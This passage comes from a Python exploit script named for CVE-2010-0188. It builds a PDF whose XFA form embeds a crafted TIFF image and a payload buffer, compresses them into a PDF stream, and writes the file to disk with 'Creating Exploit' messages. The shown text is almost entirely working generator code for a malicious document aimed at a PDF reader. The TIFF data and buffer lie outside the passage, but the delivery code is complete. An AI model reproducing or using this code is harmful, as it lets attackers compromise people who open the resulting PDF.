</pdf> <xdp> <packets>*</packets> </xdp> <destination>pdf</destination> </present> </config> <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/"> <subform name="topmostSubform" layout="tb" locale="en_US"> <pageSet> <pageArea id="PageArea1" name="PageArea1"> <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /> <medium short="612pt" long="792pt" stock="custom" /> </pageArea> </pageSet> <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt"> <break before="pageArea" beforeTarget="#PageArea1" /> <bind match="none" /> <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm"> <ui> <imageEdit /> </ui> </field> <?templateDesigner expand 1?> </subform> <?templateDesigner expand 1?> </subform> <?templateDesigner FormTargetVersion 24?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?> <?templateDesigner Zoom 94?> </template> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data> <topmostSubform> <ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1> </topmostSubform> </xfa:data> </xfa:datasets> <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /> <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/"> <subform name="topmostSubform"> <instanceManager name="_Page1" /> <subform name="Page1"> <field name="ImageField1" /> </subform> <pageSet> <pageArea name="PageArea1" /> </pageSet> </subform> </form> </xdp:xdp> ''' return xml def gen_pdf(self): xml = zlib.compress(self.gen_xml()) pdf='''%PDF-1.6 1 0 obj <</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>> stream ''' + xml+''' endstream endobj 2 0 obj <</V () /Kids [3 0 R] /T (topmostSubform[0]) >> endobj 3 0 obj <</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>> endobj 4 0 obj <</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>> endobj 5 0 obj <</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>> endobj 6 0 obj <</Kids [5 0 R]/Type /Pages/Count 1>> endobj 7 0 obj <</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>> endobj 8 0 obj <</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>> endobj xref trailer <</Root 7 0 R/Size 9>> startxref 14765 %%EOF''' return pdf if __name__=="__main__": print __doc__ if len(sys.argv) != 2: print "Usage: %s [output.pdf]" % sys.argv[0] print "Creating Exploit to %s\n"% sys.argv[1] exploit=CVE20100188Exploit(buf) f = open(sys.argv[1],mode='wb') f.write(exploit.gen_pdf()) f.close() print "[+] done !"